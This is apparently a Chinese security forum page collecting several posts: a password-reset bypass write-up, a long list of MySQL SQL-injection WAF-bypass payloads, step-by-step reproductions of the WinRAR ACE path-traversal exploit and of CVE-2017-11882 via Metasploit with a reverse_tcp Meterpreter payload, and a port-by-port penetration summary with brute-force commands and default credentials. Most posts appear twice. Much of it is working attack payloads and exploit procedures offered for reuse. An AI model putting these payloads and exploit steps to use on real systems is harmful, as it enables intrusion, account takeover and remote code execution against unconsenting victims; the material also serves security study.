记一次有趣的密码重置

Web安全渗透gu 发表了文章 • 4 个评论 • 149 次浏览 • 2019-03-03 11:17 • 来自相关话题

转自(https://www.freebuf.com/vuls/196382.html)
前景提要
之前有测过客户的App,发现在忘记密码的地方存在手机号验证绕过导致任意用户密码重置,登陆后的修改密码也是存在手机号验证绕过问题。这次测试的是Web端,发现之前的几个接口都是和app一样的,所以拿到手就先开始对密码这部分下手。
正片
开局直奔忘记密码的重置,但是开发已经学乖了,已经把这个在app端发现的问题修复了,寻之无果,又转战到个人中心修改密码处。
看起来是挺吓人的,又是手机验证码,又是旧密码的。走一波流程,发现是先验证手机验证码,从下图的参数中可以看到是分步验证的,首先尝试绕过手机验证。


修改code=0绕过第一次手机号验证。下图为第二次验证提交参数,发现还有一个验证码的参数,以为会进行二次效验,但是万万没想到,直接放行就修改成功了。。。。。。


看来都是纸老虎,再看参数中好像并没有其他做验证的参数,丢到repeater里尝试看看修改手机号为另一个手机号能否成功。

???黑人问号脸,看来还是做了身份验证,也就是上图中的ut值,绑定当前用户的手机号,也就是说要修改别人手机号得拿到别人的ut值。原本打算到这里结束了,但是心有不甘,回想了一下上一次挖到的任意用户密码重置过程,在上一次的挖掘中重置用户密码是没有用户身份验证的,因为是从忘记密码进去的,所以没有经过用户登录,然而登录以后则验证了ut和手机号。那么问题就在于如何让他变成没有用户登录的情况,由于ut值是整个系统判断用户登录信息的唯一参数,所以我尝试删除cookie中的ut值,达到用户未登录状态。

Bingo,大吉大利,今晚吃鸡。
观后感
初步猜测一下这个逻辑是存在ut值的时候会对当前用户的手机号进行验证,然而在没有ut值的时候无法获取当前用户信息,也就无法进行手机号验证,同时也未对手机验证码以及旧密码进行验证导致密码修改成功。 查看全部
转自(https://www.freebuf.com/vuls/196382.html
前景提要
之前有测过客户的App,发现在忘记密码的地方存在手机号验证绕过导致任意用户密码重置,登陆后的修改密码也是存在手机号验证绕过问题。这次测试的是Web端,发现之前的几个接口都是和app一样的,所以拿到手就先开始对密码这部分下手。
正片
开局直奔忘记密码的重置,但是开发已经学乖了,已经把这个在app端发现的问题修复了,寻之无果,又转战到个人中心修改密码处。
看起来是挺吓人的,又是手机验证码,又是旧密码的。走一波流程,发现是先验证手机验证码,从下图的参数中可以看到是分步验证的,首先尝试绕过手机验证。


修改code=0绕过第一次手机号验证。下图为第二次验证提交参数,发现还有一个验证码的参数,以为会进行二次效验,但是万万没想到,直接放行就修改成功了。。。。。。


看来都是纸老虎,再看参数中好像并没有其他做验证的参数,丢到repeater里尝试看看修改手机号为另一个手机号能否成功。

???黑人问号脸,看来还是做了身份验证,也就是上图中的ut值,绑定当前用户的手机号,也就是说要修改别人手机号得拿到别人的ut值。原本打算到这里结束了,但是心有不甘,回想了一下上一次挖到的任意用户密码重置过程,在上一次的挖掘中重置用户密码是没有用户身份验证的,因为是从忘记密码进去的,所以没有经过用户登录,然而登录以后则验证了ut和手机号。那么问题就在于如何让他变成没有用户登录的情况,由于ut值是整个系统判断用户登录信息的唯一参数,所以我尝试删除cookie中的ut值,达到用户未登录状态。

Bingo,大吉大利,今晚吃鸡。
观后感
初步猜测一下这个逻辑是存在ut值的时候会对当前用户的手机号进行验证,然而在没有ut值的时候无法获取当前用户信息,也就无法进行手机号验证,同时也未对手机验证码以及旧密码进行验证导致密码修改成功。

【转帖】WAF Bypass数据库特性(Mysql探索篇)

Web安全渗透cat 发表了文章 • 3 个评论 • 148 次浏览 • 2019-02-26 21:20 • 来自相关话题

0x01 前言
我们经常利用一些数据库特性来进行WAF绕过。在Mysql中,比如可以这样:内联注释: /*!12345union*/select
Mysql黑魔法: select{x user}from{x mysql.user};
换行符绕过:%23%0a、%2d%2d%0a

一起去探索一下能够绕过WAF防护的数据库特性。



 0x02 测试
常见有5个位置即:SELECT * FROM admin WHERE username = 1【位置一】union【位置二】select【位置三】1,user()【位置四】from【位置五】admin

   
位置一:参数和union之间的位置(1)常见形式:/**/、/*!50000union*/等形式:
SELECT * FROM admin WHERE username = 1 union/**/select 1,user() from admin
(2)空白字符:
Mysql中可以利用的空白字符有:%09,%0a,,,%0d,%20,%a0;
id=1%0aunion select 1,user() from admin
其他形式如:%1%20、%3920、%40%20、%23%0a、%2d%2d%0a
(3)浮点数形式 :1.1
SELECT * FROM admin WHERE username = 1.0union select 1,user() from admin
SELECT * FROM admin WHERE username = 1.union select 1,user() from admin
其他形式如:%1%2e、%2%2e
(4)1E0的形式(科学计数法):
SELECT * FROM admin WHERE username = 1E0union select 1,user() from admin
(5) Nunion的形式:
SELECT * FROM admin WHERE username = Nunion select 1,user() from admin 位置二:union和select之间的位置(1)空白字符
Mysql中可以利用的空白字符有:%09,%0a,,,%0d,%20,%a0;
id=1 union%a0select 1,user() from admin
(2)注释符
使用空白注释,MYSQL中可以利用的空白字符有:/**/ 、/*anything*/
(3)括号
SELECT * FROM admin WHERE username =1 union(select 'test',(select user() from admin limit 0,1))
select * from admin union(select 'test',(select 'asd'),(select user() from users limit 0,1)) 
位置三:select和查询参数之间的位置(1)空白字符
Mysql中可以利用的空白字符有:%09,%0a,,,%0d,%20,%a0;
id=1 union select%091,user() from admin
(2)注释符
使用空白注释,MYSQL中可以利用的空白字符有:/**/、/*anything*/
(3)其他字符
%21 ! 叹号
%2b + 加号
%2d - 减号
%40 @ 电子邮件符号
%7e ~ 波浪号
SELECT * FROM admin WHERE username = 1 union select~1,user() from admin
(4)其他方式:
括号: SELECT * FROM admin WHERE username = 1 union select(1),user() from admin
内联: SELECT * FROM admin WHERE username = 1 union /!12345select/1,user() from admin
@字符:SELECT * FROM admin WHERE username = 1 union select@1,user() from admin
{括号:SELECT * FROM admin WHERE username = 1 union select {x 1},user() from admin
引号: SELECT * FROM admin WHERE username = 1 union select"1",user() from admin
N: SELECT * FROM admin WHERE username = 1 union selectN,user() from admin


位置四:查询参数和from之间的位置(1)空白字符
Mysql中可以利用的空白字符有:%09,%0a,,,%0d,%20,%a0;
id=1 union select 1,user()%09from admin
(2)注释符
使用空白注释,MYSQL中可以利用的空白字符有:/**/ 、/*anything*/
(3)其他符号
波浪号%60: SELECT * FROM admin WHERE username = 1 union(select 1,(select schema_namefrom information_schema.SCHEMATA limit 0,1)) SELECT * FROM admin WHERE username = 1 union select 1,user()`from admin
内联注释: SELECT * FROM admin WHERE username = 1 union(select 1,(select/!schema_name/from information_schema.SCHEMATA limit 1,1))
{括号: SELECT * FROM admin WHERE username = 1 union(select 1,(select{x schema_name}from information_schema.SCHEMATA limit 1,1))
括号: SELECT * FROM admin WHERE username = 1 union(select 1,(select(schema_name)from information_schema.SCHEMATA limit 1,1))
双引号: SELECT * FROM admin WHERE username = 1 union select 1,user()""from admin
括号后面加字母:SELECT * FROM admin WHERE username = 1 union select 1,user()A from admin
破浪号加字母: SELECT * FROM admin WHERE username = 1 union select 1,user()`bfrom admin
(4)浮点数、1E0的形式、N形式
id=1 unionselect user(),2.0from admin
SELECT * FROM admin WHERE username = 1 unionselect user(),2.0from admin
SELECT * FROM admin WHERE username = 1 union select user(),8e0from admin
SELECT * FROM admin WHERE username = 1 union select user(),Nfrom admin 位置五:from后面的位置(1)空白字符
Mysql中可以利用的空白字符有:%09,%0a,,,%0d,%20,%a0;
id=1 union select 1,user()%09from admin
(2)注释符
使用空白注释,MYSQL中可以利用的空白字符有:/**/、/*anything*/
(3)其他字符
破浪号: id=1 union select 1,(select(schema_name)frominformation_schema.SCHEMATA limit 0,1)
内联注释: id=1 union select 1,(select(schema_name)from/!12345information_schema.SCHEMATA/ limit 0,1)
{括号: id=1 union select 1,(select(schema_name)from {x information_schema.SCHEMATA} limit 0,1)
括号: id=1 union select 1,(select(schema_name)from(information_schema.SCHEMATA) limit 0,1)
同一个表的情况下,大小写字母加数字都可以
SELECT * FROM admin WHERE username = 1 union select 1,user() from123asdadmin
0x03 函数
 
类型一:常见的过滤函数
  (1)字符串截取函数
Mid(version(),1,1)
Substr(version(),1,1)
Substring(version(),1,1)
Lpad(version(),1,1)
Rpad(version(),1,1)
Left(version(),1)
reverse(right(reverse(version()),1))
(2)字符串连接函数
concat(version(),'|',user());
concat_ws('|',1,2,3)
(3)字符转换 Ascii(1) 此函数之前测试某云waf的时候被过滤了,然后使用ascii (1)即可 Char(49) Hex(‘a’) Unhex(61) 
类型二:过滤了特殊符号
    (1)limit处的逗号: limit 1 offset 0
(2)字符串截取处的逗号 mid处的逗号: mid(version() from 1 for 1)
(3)union处的逗号: 通过join拼接。
SELECT * FROM admin WHERE username = 1 union select * from (select 1)a join(select{x schema_name} from information_schema.SCHEMATA limit 1,1)b
(4)操作符<>被过滤
select * from users where id=1 and ascii(substr(database(),0,1))>64
此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符了。greatest(n1,n2,n3,等)函数返回输入参数(n1,n2,n3,等)的最大值。那么上面的这条sql语句可以使用greatest变为如下的子句:
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64总结:使用greatest()绕过比较操作符。类型三:部分函数构造
    (1)sleep(5)/benchmark(10000000,SHA1(1))
id=1 xor sleep%23%0a(5)
id=1 xor sleep%2d%2d%0a(5)
id=1 xor sleep([%20]5)
id=1 xor benchmark%0a(10000000,SHA1(1))
id=1 xor sleep[空白字符](5)
Mysql中可以利用的空白字符有:%09,%0a,,,%0d,%20,%a0;
(2)select {x 1}形式
select{x[可填充字符]1}
Mysql中可以利用的空白字符有:%09,%0a,,,%0d,%20,%a0;
%21 !
%2b +
%2d -
%40 @
%7e ~0x04 END
本文汇总了一些常见的Mysql数据库特性和特殊的绕过函数,这是最灵活多变的一种数据库类型,以上这些远远是不够的。比如:单单一个内联注释,就可以嵌套多层,变幻出各种令人诧异的姿势。
仅作抛砖引玉之用,欢迎留言,顺便分享一下你了解的比较有意思的特性。 查看全部
0x01 前言
我们经常利用一些数据库特性来进行WAF绕过。在Mysql中,比如可以这样:
内联注释: /*!12345union*/select
Mysql黑魔法: select{x user}from{x mysql.user};
换行符绕过:%23%0a、%2d%2d%0a

一起去探索一下能够绕过WAF防护的数据库特性。



 0x02 测试
常见有5个位置即:
SELECT * FROM admin WHERE username = 1【位置一】union【位置二】select【位置三】1,user()【位置四】from【位置五】admin

   
位置一:参数和union之间的位置
(1)常见形式:/**/、/*!50000union*/等形式:
SELECT * FROM admin WHERE username = 1 union/**/select 1,user() from admin
(2)空白字符:
Mysql中可以利用的空白字符有:%09,%0a,,,%0d,%20,%a0;
id=1%0aunion select 1,user() from admin
其他形式如:%1%20、%3920、%40%20、%23%0a、%2d%2d%0a
(3)浮点数形式 :1.1
SELECT * FROM admin WHERE username = 1.0union select 1,user() from admin
SELECT * FROM admin WHERE username = 1.union select 1,user() from admin
其他形式如:%1%2e、%2%2e
(4)1E0的形式(科学计数法):
SELECT * FROM admin WHERE username = 1E0union select 1,user() from admin
(5) Nunion的形式:
SELECT * FROM admin WHERE username = Nunion select 1,user() from admin 
位置二:union和select之间的位置
(1)空白字符
Mysql中可以利用的空白字符有:%09,%0a,,,%0d,%20,%a0;
id=1 union%a0select 1,user() from admin
(2)注释符
使用空白注释,MYSQL中可以利用的空白字符有:/**/ 、/*anything*/
(3)括号
SELECT * FROM admin WHERE username =1 union(select 'test',(select user() from admin limit 0,1))
select * from admin union(select 'test',(select 'asd'),(select user() from users limit 0,1))
 
位置三:select和查询参数之间的位置
(1)空白字符
Mysql中可以利用的空白字符有:%09,%0a,,,%0d,%20,%a0;
id=1 union select%091,user() from admin
(2)注释符
使用空白注释,MYSQL中可以利用的空白字符有:/**/、/*anything*/
(3)其他字符
%21 ! 叹号
%2b + 加号
%2d - 减号
%40 @ 电子邮件符号
%7e ~ 波浪号
SELECT * FROM admin WHERE username = 1 union select~1,user() from admin
(4)其他方式:
括号: SELECT * FROM admin WHERE username = 1 union select(1),user() from admin
内联: SELECT * FROM admin WHERE username = 1 union /!12345select/1,user() from admin
@字符:SELECT * FROM admin WHERE username = 1 union select@1,user() from admin
{括号:SELECT * FROM admin WHERE username = 1 union select {x 1},user() from admin
引号: SELECT * FROM admin WHERE username = 1 union select"1",user() from admin
N: SELECT * FROM admin WHERE username = 1 union selectN,user() from admin


位置四:查询参数和from之间的位置
(1)空白字符
Mysql中可以利用的空白字符有:%09,%0a,,,%0d,%20,%a0;
id=1 union select 1,user()%09from admin
(2)注释符
使用空白注释,MYSQL中可以利用的空白字符有:/**/ 、/*anything*/
(3)其他符号
波浪号%60: SELECT * FROM admin WHERE username = 1 union(select 1,(select schema_namefrom information_schema.SCHEMATA limit 0,1)) SELECT * FROM admin WHERE username = 1 union select 1,user()`from admin
内联注释: SELECT * FROM admin WHERE username = 1 union(select 1,(select/!schema_name/from information_schema.SCHEMATA limit 1,1))
{括号: SELECT * FROM admin WHERE username = 1 union(select 1,(select{x schema_name}from information_schema.SCHEMATA limit 1,1))
括号: SELECT * FROM admin WHERE username = 1 union(select 1,(select(schema_name)from information_schema.SCHEMATA limit 1,1))
双引号: SELECT * FROM admin WHERE username = 1 union select 1,user()""from admin
括号后面加字母:SELECT * FROM admin WHERE username = 1 union select 1,user()A from admin
破浪号加字母: SELECT * FROM admin WHERE username = 1 union select 1,user()`bfrom admin
(4)浮点数、1E0的形式、N形式
id=1 unionselect user(),2.0from admin
SELECT * FROM admin WHERE username = 1 unionselect user(),2.0from admin
SELECT * FROM admin WHERE username = 1 union select user(),8e0from admin
SELECT * FROM admin WHERE username = 1 union select user(),Nfrom admin
 位置五:from后面的位置
(1)空白字符
Mysql中可以利用的空白字符有:%09,%0a,,,%0d,%20,%a0;
id=1 union select 1,user()%09from admin
(2)注释符
使用空白注释,MYSQL中可以利用的空白字符有:/**/、/*anything*/
(3)其他字符
破浪号: id=1 union select 1,(select(schema_name)frominformation_schema.SCHEMATA limit 0,1)
内联注释: id=1 union select 1,(select(schema_name)from/!12345information_schema.SCHEMATA/ limit 0,1)
{括号: id=1 union select 1,(select(schema_name)from {x information_schema.SCHEMATA} limit 0,1)
括号: id=1 union select 1,(select(schema_name)from(information_schema.SCHEMATA) limit 0,1)
同一个表的情况下,大小写字母加数字都可以
SELECT * FROM admin WHERE username = 1 union select 1,user() from123asdadmin

0x03 函数
 
类型一:常见的过滤函数
  
(1)字符串截取函数
Mid(version(),1,1)
Substr(version(),1,1)
Substring(version(),1,1)
Lpad(version(),1,1)
Rpad(version(),1,1)
Left(version(),1)
reverse(right(reverse(version()),1))
(2)字符串连接函数
concat(version(),'|',user());
concat_ws('|',1,2,3)
(3)字符转换 Ascii(1) 此函数之前测试某云waf的时候被过滤了,然后使用ascii (1)即可 Char(49) Hex(‘a’) Unhex(61)
 
类型二:过滤了特殊符号
    
(1)limit处的逗号: limit 1 offset 0
(2)字符串截取处的逗号 mid处的逗号: mid(version() from 1 for 1)
(3)union处的逗号: 通过join拼接。
SELECT * FROM admin WHERE username = 1 union select * from (select 1)a join(select{x schema_name} from information_schema.SCHEMATA limit 1,1)b
(4)操作符<>被过滤
select * from users where id=1 and ascii(substr(database(),0,1))>64
此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符了。greatest(n1,n2,n3,等)函数返回输入参数(n1,n2,n3,等)的最大值。那么上面的这条sql语句可以使用greatest变为如下的子句:
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64总结:使用greatest()绕过比较操作符。
类型三:部分函数构造
    
(1)sleep(5)/benchmark(10000000,SHA1(1))
id=1 xor sleep%23%0a(5)
id=1 xor sleep%2d%2d%0a(5)
id=1 xor sleep([%20]5)
id=1 xor benchmark%0a(10000000,SHA1(1))
id=1 xor sleep[空白字符](5)
Mysql中可以利用的空白字符有:%09,%0a,,,%0d,%20,%a0;
(2)select {x 1}形式
select{x[可填充字符]1}
Mysql中可以利用的空白字符有:%09,%0a,,,%0d,%20,%a0;
%21 !
%2b +
%2d -
%40 @
%7e ~
0x04 END
本文汇总了一些常见的Mysql数据库特性和特殊的绕过函数,这是最灵活多变的一种数据库类型,以上这些远远是不够的。比如:单单一个内联注释,就可以嵌套多层,变幻出各种令人诧异的姿势。
仅作抛砖引玉之用,欢迎留言,顺便分享一下你了解的比较有意思的特性。

WinRAR漏洞详细复现过程

wuyou 发表了文章 • 1 个评论 • 334 次浏览 • 2019-02-22 15:35 • 来自相关话题

漏洞描述:
2019年2月20日,Check Point团队爆出了一个关于WinRAR存在19年的漏洞, 该漏洞是由于 WinRAR 所使用的一个陈旧的动态链接库UNACEV2.dll所造成的,即在解压一个恶意ACE文件时,解压目录会被设置为Startup文件夹,这个文件夹可在电脑重新启动时自动运行文件夹内的程序,从而造成任意代码执行的效果。
漏洞影响版本:
WinRAR < 5.70 Beta 1
Bandizip    < = 6.2.0.0
好压(2345压缩)    < = 5.9.8.10907
360压缩    < = 4.0.0.1170
PS:目前我在WinRAR上复现成功,但是在Bandzip上失败,看来有些软件的行动还是蛮快的。
漏洞验证:
首先,我下载并安装了唯一允许创建ACE存档的软件 WinACE
然后在桌面创建了一个txt的文本,并用它作为最后存入Startup文件夹的文件





用把txt拖入WinACE的方式打开WinACE
点击Create,再次把txt拖入新出现的弹框内,再把下方的store full path设置好,最后点击Add创建。





这时桌面上就出现了创建好的ACE文件,接下来我们需要一个python脚本:acefile.py
https://github.com/droe/acefile

运行这个py脚本,我们可以看到新创建的ACE文件的头信息





红框中的内容即为解压时的目录,我们需要做的便是手动修改它,Check Point团队为我们准备好了最终的向量:
C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\test.txt

下来,因为CRC的保护,如何手动修改就成为了关键的一步:
你需要有一个编辑工具如WinHex等,这里我个人习惯使用HEdit
用十六进制的方法打开ACE文件后,我们需要修改四个地方

首先,将预设的解压目录修改为我们的最终向量





第二,修改路径长度为新向量长度









第三,修改hdr_size,我的长度为111,十六进制为6f





第四,用编辑器打开acefile.py
寻找CRC failed,找到下面这一行





将代码中输出的CRC failed改为变量的值





再次执行python脚本
将这个值转换为16进制后即为我们最后一处用来修改的内容





63686,转换为16进制为f8c6,我们使用的时候要颠倒一下即为c6f8





将红圈中的内容修改为新内容后即可完成操作。
解压做好的ACE文件,发现我们的目录及其中的文件已经创建完毕。





重启电脑,发现txt文件执行成功!




 
修复方案:
建议删除压缩程序目录下的如图的文件




或者下载最新版本的WinRAR。
 
参考文章:https://www.anquanke.com/post/id/171403
 
 

 
  查看全部
漏洞描述:
2019年2月20日,Check Point团队爆出了一个关于WinRAR存在19年的漏洞, 该漏洞是由于 WinRAR 所使用的一个陈旧的动态链接库UNACEV2.dll所造成的,即在解压一个恶意ACE文件时,解压目录会被设置为Startup文件夹,这个文件夹可在电脑重新启动时自动运行文件夹内的程序,从而造成任意代码执行的效果。
漏洞影响版本:
WinRAR < 5.70 Beta 1
Bandizip    < = 6.2.0.0
好压(2345压缩)    < = 5.9.8.10907
360压缩    < = 4.0.0.1170
PS:目前我在WinRAR上复现成功,但是在Bandzip上失败,看来有些软件的行动还是蛮快的。
漏洞验证:
首先,我下载并安装了唯一允许创建ACE存档的软件 WinACE
然后在桌面创建了一个txt的文本,并用它作为最后存入Startup文件夹的文件
rar1.png


用把txt拖入WinACE的方式打开WinACE
点击Create,再次把txt拖入新出现的弹框内,再把下方的store full path设置好,最后点击Add创建。
rar2.png


这时桌面上就出现了创建好的ACE文件,接下来我们需要一个python脚本:acefile.py
https://github.com/droe/acefile

运行这个py脚本,我们可以看到新创建的ACE文件的头信息
rar3.png


红框中的内容即为解压时的目录,我们需要做的便是手动修改它,Check Point团队为我们准备好了最终的向量:
C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\test.txt

下来,因为CRC的保护,如何手动修改就成为了关键的一步:
你需要有一个编辑工具如WinHex等,这里我个人习惯使用HEdit
用十六进制的方法打开ACE文件后,我们需要修改四个地方

首先,将预设的解压目录修改为我们的最终向量
rar4.png


第二,修改路径长度为新向量长度
rar5.png

rar6.png


第三,修改hdr_size,我的长度为111,十六进制为6f
rar8.png


第四,用编辑器打开acefile.py
寻找CRC failed,找到下面这一行
rar9.png


将代码中输出的CRC failed改为变量的值
rar10.png


再次执行python脚本
将这个值转换为16进制后即为我们最后一处用来修改的内容
rar11.png


63686,转换为16进制为f8c6,我们使用的时候要颠倒一下即为c6f8
rar12.png


将红圈中的内容修改为新内容后即可完成操作。
解压做好的ACE文件,发现我们的目录及其中的文件已经创建完毕。
rar13.png


重启电脑,发现txt文件执行成功!
rar14.png

 
修复方案:
建议删除压缩程序目录下的如图的文件
rar15.png

或者下载最新版本的WinRAR。
 
参考文章:https://www.anquanke.com/post/id/171403
 
 

 
 

CVE-2017-11882漏洞复现及个人体会

wuyou 发表了文章 • 1 个评论 • 1299 次浏览 • 2019-01-20 17:20 • 来自相关话题

漏洞概述:
     CVE-2017-11882是一个潜伏17年之久的可以通杀office 2003到2016的所有版本的漏洞,攻击者只需要给目标发送一个word文档并且这个文档被打开,那么攻击者就可以肆意进行创建后门等操作。
复现环境:
    windows 7
     kail linux
     office 2016
过程:
      1、开启metasploit
                       root@wuyou:~# msfconsole
     2、搜寻模块并使用
                       msf > search CVE-2017-11882                    
                       msf > use exploit/windows/smb/CVE-2017-11882 
这里我使用了网上找的另一个rb文件




      3、查看设置并填入
                        msf exploit(windows/smb/CVE-2017-11882) > show options




查询渗透机IP地址
                     root@wuyou:~# ifconfig




设置渗透机的IP地址
                     msf exploit(windows/smb/CVE-2017-11882) > set lhost 192.168.1.103
设置payload:
                     msf exploit(windows/smb/CVE-2017-11882) > set payload windows/meterpreter/reverse_tcp
最后再设置路径

     4、开始攻击并把生成的doc文档在靶机中打开
                     msf exploit(windows/smb/CVE-2017-11882) > exploit









结语: 
1、我在我的Win10上运行时也成功了,不过因为没有加入免杀技术而出现各种报毒









2、第一次复现漏洞的我收获最大的东西并不是上面这个漏洞,而是整个的复现过程出现的各种问题和找到的解决方法,当我第一次看到这个漏洞的介绍时我觉得这个复现过程是如此的简单,但是实际过程却困难重重,我从装WIN7开始到解决metasploit出现的问题和试验各个版本、不同的环境和不同的复现方式直到开始写这篇文章坐在电脑前就已经有两天了,但我的收获也多且零碎到我无法在这篇文章中全部讲出来,这都需要自己实际操作一遍。
  查看全部
漏洞概述:
     CVE-2017-11882是一个潜伏17年之久的可以通杀office 2003到2016的所有版本的漏洞,攻击者只需要给目标发送一个word文档并且这个文档被打开,那么攻击者就可以肆意进行创建后门等操作。
复现环境:
    windows 7
     kail linux
     office 2016
过程:
      1、开启metasploit
                       root@wuyou:~# msfconsole
     2、搜寻模块并使用
                       msf > search CVE-2017-11882                    
                       msf > use exploit/windows/smb/CVE-2017-11882 
这里我使用了网上找的另一个rb文件
1.png

      3、查看设置并填入
                        msf exploit(windows/smb/CVE-2017-11882) > show options
3.png

查询渗透机IP地址
                     root@wuyou:~# ifconfig
if.png

设置渗透机的IP地址
                     msf exploit(windows/smb/CVE-2017-11882) > set lhost 192.168.1.103
设置payload:
                     msf exploit(windows/smb/CVE-2017-11882) > set payload windows/meterpreter/reverse_tcp
最后再设置路径

     4、开始攻击并把生成的doc文档在靶机中打开
                     msf exploit(windows/smb/CVE-2017-11882) > exploit
4.png

222.png


结语: 
1、我在我的Win10上运行时也成功了,不过因为没有加入免杀技术而出现各种报毒
QQ截图20190209173551.png

QQ截图20190209174030.png


2、第一次复现漏洞的我收获最大的东西并不是上面这个漏洞,而是整个的复现过程出现的各种问题和找到的解决方法,当我第一次看到这个漏洞的介绍时我觉得这个复现过程是如此的简单,但是实际过程却困难重重,我从装WIN7开始到解决metasploit出现的问题和试验各个版本、不同的环境和不同的复现方式直到开始写这篇文章坐在电脑前就已经有两天了,但我的收获也多且零碎到我无法在这篇文章中全部讲出来,这都需要自己实际操作一遍。
 

[转帖]端口渗透总结

fireant 发表了文章 • 0 个评论 • 157 次浏览 • 2019-01-15 10:48 • 来自相关话题

实例连接大多没用直接去乌云镜像上搜标题
0x00 背景
在前段时间的渗透中,我发现通过端口来进行渗透有时会提升我们的效率,所以才有了这篇文章的诞生;
首先分享一份关于端口及他们对应的服务文件:https://yunpan.cn/cYyNXEpZNYvxQ 访问密码 983e
这里再分享一篇我曾经在百度文库提交的端口渗透文章:请点我
再次看这篇文章发现写的很简单,也只描述了几个常见的端口渗透;而且一般我们都是可以修 改默认端口的,所以平时在渗透过程中,对端口信息的收集就是一个很重要的过程;然后对症下药就可以更快的渗透进入我们需要的服务器;接下来就详细通过渗透 实战对端口的渗透进行更加深入的剖析;
端口渗透过程中我们需要关注几个问题:
1、  端口的banner信息
2、  端口上运行的服务
3、  常见应用的默认端口
当然对于上面这些信息的获取,我们有各式各样的方法,最为常见的应该就是nmap了吧!我们也可以结合其他的端口扫描工具,比如专门的3389、1433等等的端口扫描工具;服务默认端口
公认端口(Well Known Ports):0-1023,他们紧密绑定了一些服务;
注册端口(Registered Ports):1024-49151,他们松散的绑定了一些服务;
动态/私有:49152-65535,不为服务分配这些端口;
当然这些端口都可以通过修改来达到欺骗攻击者的目的,但是这就安全了吗?攻击者又可以使用什么攻击方式来攻击这些端口呢?
还需要注明的一点是:很多木马工具也有特定的端口,本文并没有涉及到这块的内容,大家可以自己去收集收集!关于爆破之我见
在对这些端口进行实战讲解时,我需要先阐述一下我对爆破这个方式的一些看法;
爆破:技术最简单,需要的技术能力基本为0,工作效率与网络、硬件等相关,在我看来爆破其实是最强大的攻击方式,特别是结合一些特制的字典,结合社工我们可以在很短的时间达到最大的效果,只不过因为我们的pc或者字典不够强大,所以很多时候我们不能进行一次优秀的爆破攻击;当然现在很多web应用以及服务端口都限制了暴力破解;对于这种做了限制的我们可能就需要利用到本文提到的其他攻击了!
分享一个团队sai总结的字典:请点击
声明:本文总结的都是近两年的常见漏洞,以前的老版漏洞以及危害性不大的漏洞没有总结,望大家谅解!0x01 实战测试文件共享服务端口渗透ftp服务
FTP服务:ftp服务我分为两种情况,第一种是使用系统软件来配置,比如IIS中的FTP文件共享或Linux中的默认服务软件;第二种是通过第三方软件来配置,比如Serv-U还有一些网上写的简易ftp服务器等;
默认端口:20(数据端口);21(控制端口);69(tftp小型文件传输协议)
攻击方式:
爆破:ftp的爆破工具有很多,这里我推荐owasp的Bruter以及msf中ftp爆破模块;
匿名访问:用户名:anonymous  密码:为空或任意邮箱
用户名:FTP            密码:FTP或为空
用户名:USET         密码:pass
当然还有不需要用户名密码直接访问的,一般出现在局域网中;

嗅探:ftp使用明文传输技术(但是嗅探给予局域网并需要欺骗或监听网关)

后门技术:在linux的vsftp某一版本中,存在着一个后门程序,只要在用户名后面加上 就会在6200上打开一个监听Shell,我们可以使用telnet直接连接;详细请点击
远程溢出漏洞:6.10.1 IIS FTP远程溢出漏洞,在IIS FTP服务器中NLST命令存在一个缓冲区溢出漏洞,这个漏洞可能是攻击者在服务器运行一条非法命令。
跳转攻击:(Bounce Attacks)攻击者发送一个FTP”PORT”命令给目标FTP服务器,其中包含该主机的网络地址和被攻击的服务的端口号。这样,客户端就能命令FTP服务器发一个文件给被攻击的服务。这个文件可能包括根被攻击的服务有关的命令(如SMTP,NNTP等)。由于是命令第三方去连接到一种服务,而不是直接连接,就使得跟踪攻击者变得困难,并且还避开了基于网络地址的访问限制。(注:此种情况小白并没有遇到过,只是总结一下,欢迎大牛指教)
案例分享:
山东电信Serv-U Web客户端弱口令
长虹ftp弱口令导致全网数据泄漏NFS服务
nfs:网络文件系统,允许网络中的计算机通过TCP/IP网络共享资源。基于Linux系统,配置方面很简单,详细配置请参考案例分享。在nfs配置中,有不做任何限制的,有限制用户,有限制IP,以及在版本2.x中我们还可以使用证书来验证用户。当然不同的限制可以采用的攻击方式也不一样;就目前而言网上关于nfs的攻击还是比较少的!
默认端口:2049
攻击方式:
未授权访问:未限制IP以及用户权限设置错误
案例分享:
Nfs配置不当导致被入侵
NFS服务全攻略Samba服务
Samba服务:对于这个可以在windows与Linux之间进行共享文件的服务同样是我们攻击的关注点;samba登录分为两种方式,一种是需要用户名口令;另一种是不需要用户名口令。在很多时候不光是pc机,还有一些服务器,网络设备都开放着此服务,方便进行文件共享,但是同时也给攻击者提供了便利。
默认端口:137(主要用户NetBIOS Name Service;NetBIOS名称服务)、139(NetBIOS Session Service,主要提供samba服务)
攻击方式:
爆破:弱口令(爆破工具采用hydra)hydra -l username -P
PassFile IP smb
未授权访问:给予public用户高权限
远程代码执行漏洞:CVE-2015-0240等等
案例分享:
Samba远程代码执行漏洞
未授权访问文件系统漏洞LDAP协议
ldap:轻量级目录访问协议,最近几年随着ldap的广泛使用被发现的漏洞也越来越多。但是毕竟主流的攻击方式仍旧是那些,比如注入,未授权等等;这些问题的出现也都是因为配置不当而造成的。
默认端口:389
攻击方式:
注入攻击:盲注
未授权访问:
爆破:弱口令
案例分享:
LDAP注入与防御剖析
欧朋LDAP服务匿名访问
使用LDAP查询快速提升域权限远程连接服务端口渗透SSH服务
SSH服务:这个服务基本会出现在我们的Linux服务器,网络设备,安全设备等设备上,而且很多时候这个服务的配置都是默认的;对于SSH服务我们可能使用爆破攻击方式较多。
默认端口:22
攻击方式
爆破:弱口令、
漏洞:28退格漏洞、OpenSSL漏洞
案例分享:
安宇创新科技ssh弱口令
宜信贷某站存在OpenSSL漏洞Telnet服务
Telnet服务:在SSH服务崛起的今天我们已经很难见到使用telnet的服务器,但是在很多设备上同样还是有这个服务的;比如cisco、华三,深信服等厂商的设备;我就有很多次通过telnet弱口令控制这些设备;
默认端口:23
攻击方式
爆破:弱口令
嗅探:此种情况一般发生在局域网;
案例分享:
大量惠普打印机远程telnet可被查看和操作Windows远程连接
